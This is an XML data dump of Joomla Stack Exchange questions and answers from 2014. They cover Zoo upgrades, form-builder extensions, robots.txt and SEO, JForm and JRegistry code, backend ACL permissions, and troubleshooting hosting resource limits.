  <row Id="5019" PostTypeId="2" ParentId="5017" CreationDate="2014-10-30T16:59:41.887" Score="1" Body="&lt;p&gt;You should be able to migrate from Joomla 2.5 to 3.x whether you have the free or commercial version of Zoo. Both versions support J2.5 and 3.x (they are the same download package) as shown on their downloads page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/zoo/downloads&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/downloads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to simply take a backup of your site and test the migrations first to see if everything runs smoothly after.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-30T16:59:41.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5020" PostTypeId="2" ParentId="5018" CreationDate="2014-10-30T17:22:49.020" Score="2" Body="&lt;p&gt;I've never used Gravity Forms or Drupal Web Forms so I'm not too sure of the feature possibilities, but there &lt;strong&gt;are&lt;/strong&gt; advanced form builder for Joomla too which you can find on the Forms Category on the Joomla Extensions Directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/contacts-and-feedback/forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratings and reviews speak for themselves, but remember to test a handful of extensions to see which ones suit your needs the most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-30T17:22:49.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5021" PostTypeId="2" ParentId="5017" CreationDate="2014-10-30T19:22:32.517" Score="1" Body="&lt;p&gt;I agree with taking backups.  Since the only difference between full and free are the apps, you don't really need the full version.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the changelog is the key to knowing whether you even need the full version if you're using one of the installed apps.  If no changes are noted to the app portions, you don't necessarily need the full version at upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you DO need the full versions subscription for is support and documentation access.  As  much as I've been using Zoo lately and feel at least at an &quot;advanced&quot; level, I find myself using the support forum and documentation regularly.  So having a subscription is important from that standpoint.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-10-30T19:22:32.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5022" PostTypeId="1" AcceptedAnswerId="5025" CreationDate="2014-10-30T19:37:45.700" Score="7" ViewCount="447" Body="&lt;p&gt;I've been working a lot with SEO for clients lately and I've noted that they are requiring access to the template in Webmaster Tools now to establish that a site is mobile-friendly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is ranking sites lower when CSS and js for the template is blocked.  The current default robots txt blocks those folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any negative result of unblocking the &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/media/system&lt;/code&gt; folders via the robots txt?  I assume they were put there for a reason, but it looks like in Github some of the development versions don't include those folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the pro and con on that?&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2016-10-26T10:24:10.450" Title="Unblock template and media in Robots TXT for Google Webmaster Tools?" Tags="|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5023" PostTypeId="2" ParentId="5018" CreationDate="2014-10-30T21:14:39.150" Score="2" Body="&lt;p&gt;There is sometime since I used gravity forms on a wordpress site, and don't have fresh memories of its features. But there are plenty of powerful forms extensions in Joomla, that will let you build form of any complexity, and even more, like integrating the form with any database table, creating custom apps etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart of the forms category that Lodder provided, I would also suggest to have a look at the &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CCKs categories&lt;/strong&gt;&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions like &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/21340&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cobalt&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms/1659&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Fabrik&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/5661&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Chrono Connectivity&lt;/strong&gt;&lt;/a&gt; + &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms/1508&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ChronoForms&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/9128&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Seblod&lt;/strong&gt;&lt;/a&gt;, and more... extend Joomla's potential to many dimensions.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-30T21:14:39.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5025" PostTypeId="2" ParentId="5022" CreationDate="2014-10-31T03:10:42.240" Score="1" Body="&lt;p&gt;In my experience there is some time you need to open and sometimes needs to block  &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/media/system&lt;/code&gt; in &lt;code&gt;robots.txt&lt;/code&gt; (Its based on your site too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal sites not much &lt;code&gt;JS/CSS&lt;/code&gt; controlling your layouts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea of Joomla is rendering everything through &lt;code&gt;index.php&lt;/code&gt; so there no situation to access these files directly in above folders (only on print template or custom 404 based on your configurations).so better to block it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google is ranking sites lower when CSS and js for the template is&#xA;  blocked&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wonder and not sure this is the real problem, Bcoz we have many sites that blocked this folders and have good ranking. I think this is something else may be related to loading speed.&#xA;Optimize the site using Google page speed test then it should be much better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a situation like low rank due to these folders blocking its mostly based on the site behavior, like some new trends SPA,responsive etc will effect these folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get more information from &lt;a href=&quot;http://www.seoblog.com/2014/07/blocking-css-harmful-panda-4-0/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;  and &lt;a href=&quot;http://www.freshegg.com/blog/blocking-css-javascript-google-authorship&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So its up-to you based on your site type you can open it or block it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2014-10-31T04:33:19.770" LastActivityDate="2014-10-31T04:33:19.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5026" PostTypeId="1" AcceptedAnswerId="5029" CreationDate="2014-10-31T03:15:45.743" Score="3" ViewCount="1095" Body="&lt;p&gt;I'm trying to store multiple field values in a JSON string in my component but I'm not quite sure how to go about it. I've done some research and it seems that using the &lt;code&gt;load&lt;/code&gt; and &lt;code&gt;bind&lt;/code&gt; &lt;code&gt;JTable&lt;/code&gt; methods are the way to go but I don't know how to render the fields on my form and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or advice would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2014-10-31T05:48:08.470" LastActivityDate="2014-10-31T08:28:24.460" Title="Store multiple form fields as JSON string" Tags="|component|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5027" PostTypeId="1" CreationDate="2014-10-31T07:14:27.860" Score="4" ViewCount="2474" Body="&lt;p&gt;So I'm trying to get my head around the creation of fields on the fly using &lt;code&gt;JForm::setField&lt;/code&gt;. But as usual there is no documentation explaining how to use this method only the very minimal API description. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add a number of fields to a fieldset in a form on the fly. I've figured out that &lt;code&gt;$group&lt;/code&gt; is not the fieldset name so I don't understand what it is supposed to do...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully added the field using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element = new SimpleXMLElement('&amp;lt;field name=&quot;onfly&quot;&#xA;                                        type=&quot;text&quot;&#xA;                                        label=&quot;onfly&quot;&#xA;                                        description=&quot;onfly desc&quot;&#xA;                                        class=&quot;inputbox&quot;&#xA;                                        size=&quot;30&quot;&#xA;                                        required=&quot;true&quot; /&amp;gt;');&#xA;$form-&amp;gt;setField($element);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't add it to the fieldset I want. I can add the &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; tags to &lt;code&gt;$element&lt;/code&gt; but that deletes any preexisting fields in that fieldset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since I will be using a loop to add multiple fields, should I be using &lt;code&gt;JForm::setFields&lt;/code&gt; instead? In which case I haven't a clue how to use that method!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-12-09T05:10:52.563" Title="JForm::setField/s - Add field to fieldset" Tags="|jform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5028" PostTypeId="1" AcceptedAnswerId="5030" CreationDate="2014-10-31T08:11:24.063" Score="4" ViewCount="2282" Body="&lt;p&gt;I've created a new access level for my Joomla 3.3 website, because I need to allow users to login into the backend and create/modify articles and some components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed this tutorial: &lt;a href=&quot;http://bectin.com/random-insights/joomla/79-using-access-control-lists-acl-to-limit-back-end-access-to-a-single-component&quot; rel=&quot;nofollow&quot;&gt;http://bectin.com/random-insights/joomla/79-using-access-control-lists-acl-to-limit-back-end-access-to-a-single-component&lt;/a&gt;, but it isn't working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can login with the new user to the backend, but it doesn't appear any menu item. What am I doing wrong? What can I do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2014-10-31T08:41:28.187" Title="Backend menus not showing for a new user" Tags="|joomla-3.x|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5029" PostTypeId="2" ParentId="5026" CreationDate="2014-10-31T08:28:24.460" Score="3" Body="&lt;p&gt;You can do it either in your Table class or Model class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Convert a JSON field to an array&#xA;$registry = new JRegistry;&#xA;$registry-&amp;gt;loadString($item-&amp;gt;jsonfield);&#xA;$item-&amp;gt;jsonfield = $registry-&amp;gt;toArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/models/article.php#L257&quot; rel=&quot;nofollow&quot;&gt;the reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And vice versa:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Convert an array field to a JSON&#xA;if (isset($data['jsonfield']) &amp;amp;&amp;amp; is_array($data['jsonfield']))&#xA;{&#xA;    $registry = new JRegistry;&#xA;    $registry-&amp;gt;loadArray($data['jsonfield']);&#xA;    $data['jsonfield'] = (string) $registry;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/models/article.php#L445&quot; rel=&quot;nofollow&quot;&gt;the reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-10-31T08:28:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5030" PostTypeId="2" ParentId="5028" CreationDate="2014-10-31T08:33:25.077" Score="1" Body="&lt;p&gt;When doing ACL changes, sometimes &lt;strong&gt;logging out&lt;/strong&gt;, &lt;strong&gt;clearing caches&lt;/strong&gt; and &lt;strong&gt;cookies&lt;/strong&gt; and then &lt;strong&gt;logging-in&lt;/strong&gt; again resolves such issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your specific case, after reading the instructions on the link your provided, it is also possible that you might have missed the part where you must go to each component you want to allow access and set the proper &lt;strong&gt;Permissions&lt;/strong&gt; in its &lt;strong&gt;Configuration&lt;/strong&gt; (Options button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. You want to allow access to the &lt;strong&gt;Content Component&lt;/strong&gt;: In the permissions you should allow access to the &quot;&lt;strong&gt;Access Administration Interface&lt;/strong&gt;&quot;, which handles the Admin Menu access and the backend admin interface of the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a further recommendation: &lt;strong&gt;Do not allow&lt;/strong&gt; :&lt;strong&gt;Delete&lt;/strong&gt; and &lt;strong&gt;Configure&lt;/strong&gt; for this usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a more customized administration navigation, there are &lt;a href=&quot;http://extensions.joomla.org/extensions/administration/admin-navigation&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;3rd party extensions&lt;/strong&gt;&lt;/a&gt; that will let you create custom menus specific for usergroups with more flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a lot the &lt;a href=&quot;http://extensions.joomla.org/extensions/administration/admin-navigation/22805&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Admin Menu Manager Pro&lt;/strong&gt;&lt;/a&gt; in conjunction with &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/backend-a-full-access-control/19766&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Access Manager&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-31T08:41:28.187" LastActivityDate="2014-10-31T08:41:28.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5031" PostTypeId="2" ParentId="5027" CreationDate="2014-10-31T09:08:21.807" Score="2" Body="&lt;p&gt;I am not sure, but you can try &lt;code&gt;load&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element = '&#xA;            &amp;lt;field name=&quot;onfly&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;onfly&quot;&#xA;            description=&quot;onfly desc&quot;&#xA;            class=&quot;inputbox&quot;&#xA;            size=&quot;30&quot;&#xA;            required=&quot;true&quot; /&amp;gt;&#xA;            ';&#xA;// Define your fieldset here&#xA;$xpath = '//fieldset[@name=&quot;yourfieldset&quot;]';&#xA;&#xA;JForm-&amp;gt;load($element, false, $xpath);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-10-31T09:08:21.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5032" PostTypeId="1" AcceptedAnswerId="5035" CreationDate="2014-10-31T09:49:11.940" Score="3" ViewCount="59" Body="&lt;p&gt;I'm trying to make a menu module, but I'm kind of stuck. I want the user to be able to select from several menu's, so that he/she can pick one to be displayed on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu($params-&amp;gt;get('menutype'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a menutype selection option in the module backend, which I refer to in this code, but this didn't work for me. I can tell I'm starting to do things randomly so I figured I'd ask it here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I set it so the user can select their prefered menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using J! 2.5&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2015-11-09T23:20:59.807" LastActivityDate="2015-11-09T23:20:59.807" Title="How to have a user select their preferred menu?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5033" PostTypeId="2" ParentId="4995" CreationDate="2014-10-31T10:03:39.570" Score="6" Body="&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During a similar situation to your own, I did some research and collected potential reasons for exceeding resource limitations on a shared hosting plan and you may find the following list useful in tracking down your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory and CPU resource utilisation are often linked. For example, if memory resources are in short supply, memory might be paged to disk causing a CPU overhead. If CPU resources are in short supply, more memory might be requested to help alleviate the CPU issue. Some of the items in the following list might relate more to memory and some might relate more to CPU but are probably all worth checking if you are hitting a resource limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the potential reasons are easier to check for or test than others and it makes sense to check the easiest ones first. For example, you may end up having to do number 22 (temporarily disabling extensions one by one) but it probably makes sense to do some of the basic checks like nos. 1 to 9 first as these are relatively quick to do and may help narrow down the culprit fairly quickly.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;increase the PHP memory_limit by creating or editing the php.ini and adding &lt;code&gt;memory_limit = 512M&lt;/code&gt; or change settings via cPanel -&gt; &quot;Select PHP Version&quot; or similar&lt;/li&gt;&#xA;&lt;li&gt;check for any recent changes by looking at file and folder dates in components, plugins, modules, images/slideshow folders etc&lt;/li&gt;&#xA;&lt;li&gt;check for and apply updates to Joomla and third party extensions&lt;/li&gt;&#xA;&lt;li&gt;check the error logs in the /logs folder for anything unusual&lt;/li&gt;&#xA;&lt;li&gt;check the error log in cPanel (or similar)&lt;/li&gt;&#xA;&lt;li&gt;in phpMyAdmin (or similar), run &quot;Repair&quot; on the session table&lt;/li&gt;&#xA;&lt;li&gt;run Admin Tools &quot;Fix Permissions&quot; and &quot;Repair and Optimise Tables&quot; tools&lt;/li&gt;&#xA;&lt;li&gt;in cPanel (or similar), check for any CRON jobs that might be causing an excessive load&lt;/li&gt;&#xA;&lt;li&gt;in Awstats (or similar), check for excessive &quot;Robots/Spiders visitors&quot; visits - 20,000 hits / 500MB per month or thereabouts from Google and similar is probably reasonable - if necessary, you can use Admin Tools Pro firewall &lt;code&gt;.htaccess&lt;/code&gt; security feature to detect and block spammers - reference: &lt;a href=&quot;https://stackoverflow.com/a/17822758&quot;&gt;https://stackoverflow.com/a/17822758&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;if the Joomla cache is enabled, temporarily increase the cache time to 45 minutes or so&lt;/li&gt;&#xA;&lt;li&gt;try temporarily switching to one of the default templates to see if the issue is with the template&lt;/li&gt;&#xA;&lt;li&gt;if GZip is enabled in Global Configuration, try temporarily switching it off and also try switching it on if it is currently disabled&lt;/li&gt;&#xA;&lt;li&gt;clear and purge the Joomla cache&lt;/li&gt;&#xA;&lt;li&gt;if using sh404SEF, purge sh404SEF urls&lt;/li&gt;&#xA;&lt;li&gt;purge unpublished urls in Components -&gt; Redirect Manager&lt;/li&gt;&#xA;&lt;li&gt;try temporarily disabling SEF (SEF consumes CPU)&lt;/li&gt;&#xA;&lt;li&gt;try temporarily setting RewriteEngine Off in &lt;code&gt;.htaccess&lt;/code&gt; (SEF consumes CPU)&lt;/li&gt;&#xA;&lt;li&gt;temporarily disable anti flood measures in sh404SEF, Kunena and similar extensions&lt;/li&gt;&#xA;&lt;li&gt;run a security audit to check for malware using mysites.guru (formerly myjoomla.com) or similar&lt;/li&gt;&#xA;&lt;li&gt;run gtmetrix.com or similar report to see what, if anything, is taking a long time to load&lt;/li&gt;&#xA;&lt;li&gt;temporarily enable Joomla debug mode &amp;amp; check the amount of database queries? (Should ideally be under 30)&lt;/li&gt;&#xA;&lt;li&gt;temporarily disable third party modules/plug-ins one by one and check changes in database queries&lt;/li&gt;&#xA;&lt;li&gt;log a support request with your hosting provider asking about recent changes and if they can help determine the high resource process and narrow down the issue to a specific extension&lt;/li&gt;&#xA;&lt;li&gt;try asset table fix from Elin: &lt;a href=&quot;http://github.com/elinw/AssetFix&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/elinw/AssetFix&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;install CJSpeed (&lt;a href=&quot;http://www.conquerjoomla.com/index.php?option=com_cjdownload&amp;amp;view=info&amp;amp;id=1&amp;amp;Itemid=116&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.conquerjoomla.com/index.php?option=com_cjdownload&amp;amp;view=info&amp;amp;id=1&amp;amp;Itemid=116&lt;/a&gt;) or similar to see which extensions may be slowing down your website&lt;/li&gt;&#xA;&lt;li&gt;tweak MySQL: &lt;a href=&quot;http://videos.cpanel.net/mysql-optimization&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://videos.cpanel.net/mysql-optimization&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving to a web hosting company with more generous resource limits might be a reasonable solution too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I know if the issue is fixed?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting providers often include tools in cPanel (or similar) so you can see the resource utilisation of your account. Checking these graphs will soon show you any change in memory or CPU utilisation etc.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:47:57.100" LastActivityDate="2019-09-07T08:47:57.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5034" PostTypeId="2" ParentId="5032" CreationDate="2014-10-31T10:05:25.770" Score="0" Body="&lt;p&gt;If I understood right (as on my comment), you want to create a field in your module that will display all the available menus in your site. Joomla provides this type of field (menu) in its &lt;a href=&quot;http://docs.joomla.org/Menu_form_field_type&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;standard form fields types&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your module's XML, you need to add a menu field like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;mymenu&quot; type=&quot;menu&quot; default=&quot;&quot; label=&quot;Please select a menu&quot; description=&quot;Please select a menu&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-31T10:05:25.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5035" PostTypeId="2" ParentId="5032" CreationDate="2014-10-31T11:58:33.443" Score="0" Body="&lt;p&gt;ehm, well, lets just say I fixed this issue :) I took the helper file from the standard menu module as delivered by Joomla defaultly in their CMS. This works for me! &lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2014-10-31T11:58:33.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5036" PostTypeId="1" AcceptedAnswerId="5037" CreationDate="2014-10-31T12:28:00.313" Score="2" ViewCount="1217" Body="&lt;p&gt;I'm trying to get the current selected language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the part of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;&#xA;$lang =&amp;amp; JFactory::getLanguage()-&amp;gt;getTag();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $lang;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;allways returns en-GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website has the possibility of Ger and Eng. It also changes languages for different articles. I don't understand how I did not get the current selected language within php.&lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="1629" LastEditDate="2014-10-31T13:38:37.007" LastActivityDate="2014-10-31T13:38:37.007" Title="Function getLanguage() does not return current language?" Tags="|joomla-2.5|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5037" PostTypeId="2" ParentId="5036" CreationDate="2014-10-31T12:40:03.687" Score="3" Body="&lt;p&gt;I do not think that it is possible. You are trying to get language outside of the application scope. You can try to instantiate the application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I doubt that it will help.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-10-31T12:40:03.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5039" PostTypeId="2" ParentId="474" CreationDate="2014-10-31T23:05:36.290" Score="1" Body="&lt;p&gt;Though already answered, I'll try to explain in my on perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! is a really great and flexible MVC Implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About your problem of populating a &lt;em&gt;View&lt;/em&gt;, with data from &lt;em&gt;Model&lt;/em&gt;, depending on the user submitted data through $_GET. Here is how I do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing I'd like to state is that Besides the common Models, Views and Controllers there is another category of files used widely in Joomla!, those are the mini-Controllers. Yup you read it correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the files directly inside the view folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few of them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;view.html.php&#xA;view.raw.php&#xA;view.pdf.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apart from serving the purpose of generating different types of output, they also serve as a controller(In a way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for case like yours, one doesn't have to involve controllers just to get the data from the model. All you have to do is get the submitted data using jinput sanitize it and the pass the data as an object or array or just plain variable, to the Model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;view.html.php&#xA;&amp;lt;?php&#xA;//-- No direct access&#xA;defined('_JEXEC') || die('=;)');&#xA;&#xA;class compoViewDashboard extends JViewLegacy {&#xA;    public function display($tpl = null) {&#xA;        if (JRequest::getVar('layout') == 'somelayout') {&#xA;            $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;            $data = $jinput-&amp;gt;post-&amp;gt;get('xyz', 'null', 'INT');&#xA;&#xA;            /* If you are calling method from other(different) model you can use the following one line else you can skip it. */&#xA;            $this-&amp;gt;setModel(JModelLegacy::getInstance('syllabus', 'compoModel'));&#xA;            $model = $this-&amp;gt;getModel('syllabus');&#xA;            $this-&amp;gt;courses= $model-&amp;gt;getcourses($data);&#xA;        }&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:-&lt;/strong&gt;  Remember that this is my own implementation, and may not be that perfect way, so get this approved by the pros before using any of my code in production environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:- I know JRequest is deprecated, but its there to stay as per the Joomla! core team, since the core too uses it all over the place.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-10-31T23:17:53.270" LastActivityDate="2014-10-31T23:17:53.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
